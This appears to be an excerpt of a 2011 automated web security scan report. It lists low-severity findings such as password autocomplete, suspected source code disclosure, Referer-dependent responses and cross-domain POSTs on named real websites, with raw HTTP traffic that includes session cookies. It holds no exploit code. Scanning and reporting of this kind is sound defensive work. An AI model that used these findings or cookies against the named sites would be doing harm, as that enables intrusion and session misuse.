Confidence:	Certain
Host:	https://www.merchantlink.com
Path:	/logon/log_log_page.jsp

Issue detail

The page contains a form with the following action URL:

https://www.merchantlink.com/logon/log_log_page.jsp

The form contains the following password field with autocomplete enabled:

password

Request

GET /logon/log_log_page.jsp?CTAuthMode=BASIC&CT_ORIG_URL=https%3A%2F%2Fwww.merchantlink.com%3A443%2FBizPortal%2F&ct_orig_uri=%2FBizPortal%2F HTTP/1.1
Host: www.merchantlink.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://merchantlink.com/portal/community/merchant_link/v2.0/restaurant
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 18:55:18 GMT
WWW-Authenticate: Basic realm="CT"
Content-Type: text/html; charset=ISO-8859-1
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 11091

<!doctype html public "-//w3c//dtd html 4.0 transitional//en" "http://www.w3.org/TR/html4/loose.dtd">



<!-- Product Name: log
...[SNIP]...
<html lang="en">

<form name="authForm" action="/logon/log_log_page.jsp" method="post">
<input type="hidden" name="referer" VALUE="null">
...[SNIP]...
<td align="left"><input type="password" name="password" class="inputfield" size="30" maxlength="40"></td>
...[SNIP]...

8.12. http://www.pcworld.com/pcworldconnect/comment_registration previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.pcworld.com
Path:	/pcworldconnect/comment_registration

Issue detail

The page contains a form with the following action URL:

http://www.pcworld.com/pcworldconnect/comment_registration

The form contains the following password fields with autocomplete enabled:

password
confirm

Request

Response

8.13. http://www.simplyhired.com/a/accounts/login previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/accounts/login

Issue detail

The page contains a form with the following action URL:

http://www.simplyhired.com/a/accounts/login

The form contains the following password field with autocomplete enabled:

Request

Response

8.14. https://www.twittergadget.com/tgauth.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/tgauth.php

Issue detail

The page contains a form with the following action URL:

https://www.twittergadget.com/retrieve

The form contains the following password field with autocomplete enabled:

pass

Request

POST /tgauth.php HTTP/1.1
Host: www.twittergadget.com
Connection: keep-alive
Content-Length: 16
Cache-Control: max-age=0
Origin: http://www.twittergadget.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.twittergadget.com/gadget.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

x=82&y=34&ghide=

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:17:47 GMT
Server: Apache
P3P: CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Vary: Accept-Encoding
Content-Length: 5027
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>Sign in with TwitterGadget</title>
<style type="text/css">
* { outline:0; }
img { border:0; }
form { margin:0; padding:0; }
body { background:#9AE4E8 url('/images/tg_background.pn
...[SNIP]...
</h1>
<form name=tgauth method=post action="https://www.twittergadget.com/retrieve" >
<table cellpadding=0 cellspacing=5 border=0 align=center>
...[SNIP]...
<td><input class=inputs id=pass type=password size=19 name=pass></td>
...[SNIP]...

9. Source code disclosure previous next
There are 4 instances of this issue:

https://www.createspace.com/en/community/4.0.15/resources/scripts/gen/41a54d59c9f0130b7bdac8862ec506f8.js
http://www.goclio.com/resources/ClioQuestionAndAnswer.pdf
http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js
http://www.nationaldentalreviews.org/Handlers/ImageDisplay.ashx

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

9.1. https://www.createspace.com/en/community/4.0.15/resources/scripts/gen/41a54d59c9f0130b7bdac8862ec506f8.js previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	https://www.createspace.com
Path:	/en/community/4.0.15/resources/scripts/gen/41a54d59c9f0130b7bdac8862ec506f8.js

Issue detail

The application appears to disclose some server-side source code written in PHP.

Request

GET /en/community/4.0.15/resources/scripts/gen/41a54d59c9f0130b7bdac8862ec506f8.js HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: https://www.createspace.com/en/community/community/member_showcase
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=03E0FCBB4F2FC88D87B1E8617DDEA80E.clearspaceworker00; jive.server.info="serverName=www.createspace.com:serverPort=443:contextPath=/en/community:localName=admin.createspace.com:localPort=443:localAddr=null"; jive.recentHistory.-1=31342c323031383b; JSESSIONID=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:01:43 GMT
Server: Apache
Cache-Control: max-age=31536000, public
Expires: Tue, 18 Sep 2012 15:01:43 GMT
X-JAL: 3
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/javascript;charset=UTF-8
Content-Length: 749196

/*!
* jQuery JavaScript Library v1.3.2
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-02
...[SNIP]...
<");if(c.substring(e,e+3)=="<?x"||c.substring(e,e+3)=="<?X"){var b=c.indexOf("?>");c=c.substring(b+2,c.length)}var e=c.indexOf("<!DOCTYPE");if(e!=-1){var b=c.indexOf(">
...[SNIP]...

9.2. http://www.goclio.com/resources/ClioQuestionAndAnswer.pdf previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://www.goclio.com
Path:	/resources/ClioQuestionAndAnswer.pdf

Issue detail

The application appears to disclose some server-side source code written in PHP.

Request

GET /resources/ClioQuestionAndAnswer.pdf HTTP/1.1
Host: www.goclio.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.goclio.com/resources/ClioQuestionAndAnswer.pdf
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evUserID=2354101005; evSession=3240492494; ev_testing_group_157=1; evTest_97=98; evTest_448=548; __utma=61614835.381543352.1316481924.1316481924.1316481924.1; __utmb=61614835.3.10.1316481924; __utmc=61614835; __utmz=61614835.1316481924.1.1.utmcsr=mail.trygoclio.com|utmccn=(referral)|utmcmd=referral|utmcct=/
Range: bytes=592479-625246
If-Range: "388cb-98a5f-49d85fb8744c0"

Response

HTTP/1.1 206 Partial Content
Date: Mon, 19 Sep 2011 20:24:40 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Wed, 02 Mar 2011 20:44:43 GMT
ETag: "388cb-98a5f-49d85fb8744c0"
Accept-Ranges: bytes
Content-Length: 32768
Content-Range: bytes 592479-625246/625247
Content-Type: application/pdf

<stEvt:changed>/;/metadata</stEvt:changed>
</rdf:li>
<rdf:li rdf:parseType="Resource">
<stEvt:action>saved</stEvt:action>
<stEvt:insta
...[SNIP]...
</x:xmpmeta>
<?xpacket end="r"?>endstreamendobj34 0 obj<</CreationDate(D:20110214122745-08'00')/Creator(Adobe InDesign CS5 $7.0.3$)/ModDate(D:20110214122747-08'00')/Producer(Adobe PDF Library 9.9)/Trapped/False>
...[SNIP]...

9.3. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js

Issue detail

The application appears to disclose some server-side source code written in PHP.

Request

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Jun 2011 21:13:18 GMT
ETag: "45f4bf-3808-4a6536ffa1780"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 14344
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:07 GMT
X-Varnish: 1959718971 1959715760
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 19
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

function itw_ajax_friends_request(uid) {
// $('#friends-container').html('<p><img src="/sites/all/themes/itworld/images/ajax-loader.gif" width="220" height="19" /></p>');
// setTim
...[SNIP]...
er').load("/profile/content/friends/"+uid+"/main", {} ,function(){FB.XFBML.parse();});
}
}
function itw_ajax_followers_request_go() {
$('#friends-container').load("/profile/content/friends/<?php print $uid;?>/main");
}

function itw_ajax_following_request() {
$('#friends-container').html('<p>
...[SNIP]...
</p>');
setTimeout('itw_ajax_following_request_go()', 200);
}
function itw_ajax_following_request_go() {
$('#friends-container').load("/profile/content/folowing/<?php print $uid;?>/main");
}

function itw_ajax_comments(value,tab) {
   if (value == '') {
       return;
   }
// $('#profile-comments-container').html('<p>
...[SNIP]...

9.4. http://www.nationaldentalreviews.org/Handlers/ImageDisplay.ashx previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://www.nationaldentalreviews.org
Path:	/Handlers/ImageDisplay.ashx

Issue detail

The application appears to disclose some server-side source code written in ASP.

Request

GET /Handlers/ImageDisplay.ashx?qUID=2713&qType=__ProfileMicroSite HTTP/1.1
Host: www.nationaldentalreviews.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://coast-dental-care.nationaldentalreviews.org/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __unam=7fb4177-13287bf5350-70ae9af8-1

Response

HTTP/1.1 200 OK
Date: Tue, 20 Sep 2011 11:49:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html
Content-Length: 10150

......JFIF.....`.`.....C...........................    .

   .
...
...        .......
.............C.............    .........................................................x...."..............................
...[SNIP]...
<Kb....;...8c....W./.............0..7,.>.......g...........a,...#....5[...x...2+........9b.t...."VB..9}.S...W..Oskq............7.a.}9.O....h<%.jCyb..-`.d.<.=.{n........c*./yv..;...o..I.YG.......~.....r=f    sn.Gk...X!(...b.?v.B..j..h/..tu3n3..+yM..o.........W.|A.qod|M...5KK..5.....z....c.9.....g........M.WD...t,0...,?:...    a..-..h..h.QN.....$.TV..X..K....I....;I..@..J.-.....q.*....\.8..+.3t.......5.r.-2............h...?.n..O.C...t....w'.vx.{x.&.2:........<m..3...Y5.#.j.(.Y...%./......a_.j:...s..7/qyy+\M+.ZGc.1.....w.p.q.....+e..............G.?    +T...../7./...<..O!yeb.9;.n.I.O.7.......J+....j..'...0c...............;.FA:.w...[I....:.....H..2z....e..3T.S.....n..&"...8..G.~a.....B...F
...u8.nYJ..2.\.[8......>.....f..W.4,..{.>....M;..>..5+-/O......E.........eG_.|..C.......</...-....#\.~.*......... .z....j,...3.+.2....Mp).4.*.....|..K...z..w4.....RN....F.NM.~e.k%-O...<.....0..%......$.....M..."".\.H..
.{g.(........%..zz..WH..Q.....j~A.P2=.l{Q.h....z...8..w?.u.|.........V|....7.z..{u....o....M...\..Z@.:)........zW..R..1.2....}..".T...5..O....c    .Lyyi-..D.(O......2..W......%......._..+.B.r.\....G.....`K.h...s6.!u>[G.is,........1..]..<.%..u.....f/+...z}:
+..^.q}...%$.^..~.."..w.J...../...8D0.m...r..a......r.....{.c.xB+u.n.q{.u..._.0XZZ...q...(.9#......[.V.,V........4.A.9.n.r3.....>%.a....h.Ek.......q....b.c3LC......Ew}.m.|um.!|n.F..v....L....
>.......#.Oeq.x.F.R>...W..pm.q.s....z.?.?...Xu.FK..2.. ..H#8..8.{f...........|...CQ.......~.o.#....q.-..........7..........&....#.........T.3xz=n.F,/52.H... `z.U.3.`.Enf.U.......-...C...#>...:..O..].2I.....&...|..:).|.;..o.j..W.tzw.%Q[..E...IJ....M.....}e........\+OHa.....~...........j..O......:c$..j
....<8..{5S.?...o........wb.kIZ.X...v.......k.~...^.o..Q.;.Y.;    n..2+..~7...8.I.?.wR.c.x...U.|E..$.R...6....x..$g..9.w
......o~.n...:e..5S..<<n.qqW..t.S..3.._.|..-........i....%..Do.e....Q\...).
..0]h6gO.).d./r...F......?i{..i..^7.c.}f..a,WE..U+.q.......O.......k>!.......d6......+..8.`u..mO ..SuiUj.nk.....F.x. .....#*].#.U........=.].................Y.W......gZ...sk.K...G.`..s.....3\.......[...d...H...B.Kw\..~....5...J.ir.w...;.uHn_.1q...7>.....g..)....M.[.....'.........I7.}......A....    .il......d.,...,6J>.5.........O...~........8..D$..^.........~..4.L.I.f.S..+..........Ik..4.CH"....ELe..#.f.....B.>...4.p.a...qoe...M_.......RX.&|...s..3..p..Q_oj..?f..j.xG......|......_.c.G.    ...~....A....7..Z$R........z...z
...585.m..........._.*.R.Y^..wI.K...|.[~..U....[.x.OwY......o.8u?U.{O.b..zVN....T.IH]..gQ.....x..|!....-...@...9...a.....o..Z...3..N..i.yz=....9.M5W.JP.M>.OMSh.*}.B......O6;.h....V..pz.q.Q\........:..1.,.K'=..8'."..O.....:R..[_s?.2.t..:X......|....c./....{....o4........yA....s^Ws$...s{+.K!....Gs.I......3.....kh|..J..L...H....`@.b.....`.....0../.W..U...*
1N.K/..l..3.T..ls.Zkw.9...q....8?..k_.......(.....U.C.H.........w....Zn.....i..S<.|.........NW..F78..".Vk^.W.\.-...4..B....~6..>s...<C....@.    Z5v.$.X...r..',.r........]s.N.q.j.jz.........U..#].|...5......>.h....c.........N.2..sM...w...W%.~....P._...4..}.K...T..K=.1..p4.]$.V...O3....S.N...6..1.......[....?...,nl...jwOn.,.....
..9.w..8..e.....S.Bh.%..E.......4k..F.b.:.............|2.......M6g..L`..F.?.".....Y.......Lm+..|.=Wn3\?P..W.|Tb.ks|....j..    .P..I;.........;.A.c.x{]...~$.....%.u{.B.VwJ~Y......8......N..!t...-....c.Kkg
..{........[P...N.h)...5;+.%G]F.G.Ze...6.`......i....4z.......:............x.ye..&.....]../..\...p.J_U...Y-a-..^..m...g.?....!xt..Z......^.).6..Gnj....b.GK$...N.-.2Hf.1.l.T`..zd..K....46....[.......$..........m...e....L......].r.....u=..0.....f.A...R.+....u.Q..S.7B.jR.Y.u.........c........c.......>....q.9.+X/U...],..D.9......~.X.i.......,.-...N;....<    .{M^.Z....:..Zi..31\g.1......hs}f.}...Lq..a..<.g.....V?1...iaE3I,.*lS.N..8..k...../.iZ..<I..........K..L......m!..&..^.....{M1$uIZD.Q.1c#.....?*......_.W.6i..........3h......q..q..|.}O:..wJ...okj.-o...?.p.^...ib..7e.....W.....c.R....<?u..o..H^$.X.....Q*a...z....w.9...x4...v. ...u...6^t.M.6...'...%]y.Z..|:.....~">...../.+..ar|    .....K.....k..]}n..zIo.........<..NJ.Y..mm.O.+....-..[...~..?....[.X..,.~pw....{QX?.../|).gG...$...io&.D....B.|.E~S..Q...d....w.~..Tu0.g8(7..V.]l.C.....g......    ..&....~.]..\&..w...$~d...b.%..L.'$..]:\...~....|H..q.|;...t.5...X.4...]@{..+.vNN+.....G......?.....~...sm...vWQE....G..E..%..pH..H..W.=x......m....o........~.T.Y$.....hn<..H..\3`..W9..wP~....#..A....Q.......Gc.Y.fm-wn..)o1..S..x#.U...i?...jgR..<<t........6..v8...)....$.+........?......-|9.xg......j.E)....l.m......7...`W..?.....~...u..Q.k.T.....}j+.....dx.@;vJ7.......X.T...R...>.x..%...Mw&...:X.d .L7..QL.d..... .c...W.+.?.I-..k..KO.?.&.,..L..:h$5..;Ur..%............{.....|;.U_.j.~.y.?
k..\M.j0.$.V.NK..(......8..._...h..7.%.e.}j</...S..e.....3\x.8.t...(#.J...sE..g..C..?kO.._.|cu7..U..SU{.X.[.C.Aq....W..<k.o.|<...._.j....4]..[R..iw6.Sk.3..z.V........>+...V..Y4...|>....!....x....V....$p2+...~..@....    .?........=#..@].
%...c..F\...E.....o.......b......g[..|G.......u(..........o.A.Ez/...i....L. ....ST.C....}>..L..y.e.$.v...Ep.....|M..d.|......|;...u.y..c.R.~.(.+X#..F. R.3...s.........|W......./...k.%......BxLvp]..I.........!.^F(..E.W.w.....1.......^....k]%..K.........    e...*._.f.?.-g..xkR.n...<Kq..,5.E)$....I....
...|........M....<....<0..$..;T.Fl....7Q]=.._..................<?o{ss..K..rV+.......G...7=7...~..J.4.....j.u...Y5..K.#m..`.SsnO$)t8 p.q.s...g.<S....A.'.5..gV........$.....8.DQ^].....K..?.~)x....w.xKU.|Qp...No.h.L......l.#..FG.......a...N...../.N.e.jR4"t.<s].20(O...z.C............_.._'........ .....iN!..[o.{......    ...2.5..x.._...f......:6..Yi..O........X.y..X.../S.q...>..L..|m./..w.7.6.s..r...D.e.1.h.S.=..L..    l....H"...r...'.~....Z.^'..W.......@o4G3..3.+.NBd.....swQ.............geg.A........V..........89......
...c....7ww:[.^^.mio#.%..;.X.F*... ...W...7...}.=?....o..o.4..U......Y...>b.. .$..|L.7.O..~....>.i..|=.....z..s{...qo$...e.<.%!........s..-.]..O.4....\.R...D.....Ycl.. ...A.v...V...^...-Z.E.n.....!.V..$.Q...3..''..Y.K.!...O..~ k.M....Yt.Va.,..t..:.......i.|[.L..5..Q..BK.....\q........._j77.....o.X...`mY.)9.Yy=N1S....1.w.u..t.........X..c..A......g......w.,..6{...ddK..J7...y.o."t.RjE...k.Cqg...,......*..T..p;....w}2@...m9.{.a|....\..x..%..!m.......[E.(.<.....y.~4.".F.P..u..o.,.,v... .d.p..4n.22.....f....f.`7......Uh...S...|................,.,mn.......lp>e..A!d...i.33..#pV..i..I!..$z..Z.~.{
}Q...gW.".+.e..?h..A.=..r....j....KE.....C<..:^i...=..>a..zw.E~.kw..%.T$-...I..h.0$?......q]..g.C.x~..^..fx<....m+.....}M/oR..^...m....w........ a..d.w.ytn.;`..M......1..}:K^\..J....|..rv....u.K.........c....8Q.......g4..+.H..J..X2..."^.Bs..p..!.W......N.7.N.?.>,,...\G.....8.n..+.........ga{..........4.. a.z...y.P......,a..dV.........>..s..=...id7..........9..ZTRU..y4{z.i1{.v;....).[0F.................-w.....2...r_..u.Z....,.t.y=Ec.]i-
...;..G..$..8i>l..rs...a...}..p.c...O.........9.P7`..*......i....>$..J.;x%..9p.g..+....."...U...[~#.F.]Vw.....m.N....=.|..p.    -%._*.....wL.p.s..n.W=FT.T.[.
D..[.1....zY.9.{0#8.....U+9    ....z...Mr.K]x...    ..4......dnH=._J..._.^.m......_44H...9.......P..$Y..<.....hd.p~..].X.....L..f.+.&....x/6-..L.l.K.9.F3.)..;............j...J.../"<..{.{.Ef..3..H.i-.m.5...G1=\..8c.$.h....>T......`.....DE.e.v r.U.]...z.i..q3Z5...6..O).....-.3....J(....    1...q...k\ZM.V.c.5^.Ks.......".g...:...6J..{cs.$....    ..(..%>..a.h..\.q..p.m7...0.....n.'..n..[H".]%H..a......\.*.....L....X.q..U....x..x.........G..a.{....-<..!.h.Vb"..,:`. ..z(.;..om..ky!.u.h.E;..~.....q..[....J.....9.K.d........U.b..NGcE....}H%mVI.V..Rtd..I..
...[SNIP]...

10. Referer-dependent response previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.flickr.com
Path:	/badge_code_v2.gne

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /badge_code_v2.gne?count=5&display=latest&size=s&layout=h&source=user&user=34178660@N03 HTTP/1.1
Host: www.flickr.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://blog.twitter.com/
Cookie: BX=e2h3dj974149g&b=3&s=mo; localization=en-us%3Bus%3Bus

Response 1

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 18:31:52 GMT
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Mon, 19 Sep 2011 18:31:52 GMT
Cache-Control: no-store, no-cache, must-revalidate, private
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
X-Served-By: www188.flickr.mud.yahoo.com
Vary: Accept-Encoding
Content-Type: application/x-javascript
Age: 0
Via: HTTP/1.1 r06.ycpi.ne1.yahoo.net (YahooTrafficServer/1.20.4 [cMsSf ]), HTTP/1.1 r01.ycpi.lax.yahoo.net (YahooTrafficServer/1.20.4 [cMsSf ])
Server: YTS/1.20.4
Proxy-Connection: keep-alive
Content-Length: 2148

var b_txt = '';

// write the badge


                       b_txt+= '<td align="center" valign="center" style="padding:0" class="flickr_badge_image" id="flickr_badge_image1"><a href="http://www.flickr.com/photos
...[SNIP]...
<img src="http://geo.yahoo.com/p?s=792600102&t=560cb239bc22381e09326622c6aab424&r=http%3A%2F%2Fblog.twitter.com%2F&fl_ev=0&lang=en&intl=us" width="0" height="0" alt="" /></span>';

document.write(b_txt);

Request 2

GET /badge_code_v2.gne?count=5&display=latest&size=s&layout=h&source=user&user=34178660@N03 HTTP/1.1
Host: www.flickr.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: BX=e2h3dj974149g&b=3&s=mo; localization=en-us%3Bus%3Bus

Response 2

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 18:31:57 GMT
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Mon, 19 Sep 2011 18:31:57 GMT
Cache-Control: no-store, no-cache, must-revalidate, private
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
X-Served-By: www191.flickr.mud.yahoo.com
Vary: Accept-Encoding
Content-Type: application/x-javascript
Age: 0
Via: HTTP/1.1 r11.ycpi.mud.yahoo.net (YahooTrafficServer/1.20.4 [cMsSf ]), HTTP/1.1 r05.ycpi.lax.yahoo.net (YahooTrafficServer/1.20.4 [cMsSf ])
Server: YTS/1.20.4
Proxy-Connection: keep-alive
Content-Length: 2113

var b_txt = '';

// write the badge


                       b_txt+= '<td align="center" valign="center" style="padding:0" class="flickr_badge_image" id="flickr_badge_image1"><a href="http://www.flickr.com/photos
...[SNIP]...
<img src="http://geo.yahoo.com/p?s=792600102&t=7585380223ea52774867d16f13f02480&fl_ev=0&lang=en&intl=us" width="0" height="0" alt="" /></span>';

document.write(b_txt);

11. Cross-domain POST previous next
There are 38 instances of this issue:

http://www.horde.org/
http://www.ilovefreesoftware.com/
http://www.ilovefreesoftware.com/category/programming
http://www.ilovefreesoftware.com/category/theme/default/style.css
http://www.ilovefreesoftware.com/wp-content/plugins/wp-secure-by-sitesecuritymonitorcom/css/removenotice.css
http://www.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include-footer.28a678.js
http://www.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js
http://www.pcworld.com/article/216731/simple_cheap_apps_for_keeping_secrets_online.html
http://www.techhail.com/
http://www.techhail.com/computers/gigabyte-motherboards-india/8481
http://www.techhail.com/headline/top-best-iphone-games/8468
http://www.techwev.com/
http://www.techwev.com/category/apple/
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/external.js
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/jquery.cycle.js
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/slideshow.js
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish-cat.js
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish.js
http://www.twittergadget.com/donate.html
http://www.twittergadget.com/donate.html
http://www.twittergadget.com/donate.html
http://www.twittergadget.com/donate.html
http://www.twittergadget.com/donate.html
http://www.twittergadget.com/donate.php
http://www.twittergadget.com/donate.php
http://www.twittergadget.com/donate.php
http://www.twittergadget.com/donate.php
http://www.twittergadget.com/donate.php
https://www.twittergadget.com/donate.html
https://www.twittergadget.com/donate.html
https://www.twittergadget.com/donate.html
https://www.twittergadget.com/donate.html
https://www.twittergadget.com/donate.html
https://www.twittergadget.com/donate.php
https://www.twittergadget.com/donate.php
https://www.twittergadget.com/donate.php
https://www.twittergadget.com/donate.php
https://www.twittergadget.com/donate.php

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

11.1. http://www.horde.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.horde.org
Path:	/

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
no_shipping
cn
currency_code
tax
submit

Request

GET / HTTP/1.1
Host: www.horde.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 16:41:40 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Vary: Accept-Encoding
Content-Length: 18103
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>The Horde Project</title>
<meta http-equiv="content-type" content="text/html; charset=ut
...[SNIP]...
<li>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_xclick" />
...[SNIP]...

11.2. http://www.ilovefreesoftware.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/

Issue detail

The page contains a form which POSTs data to the domain feedburner.google.com. The form contains the following fields:

Request

GET / HTTP/1.1
Host: www.ilovefreesoftware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
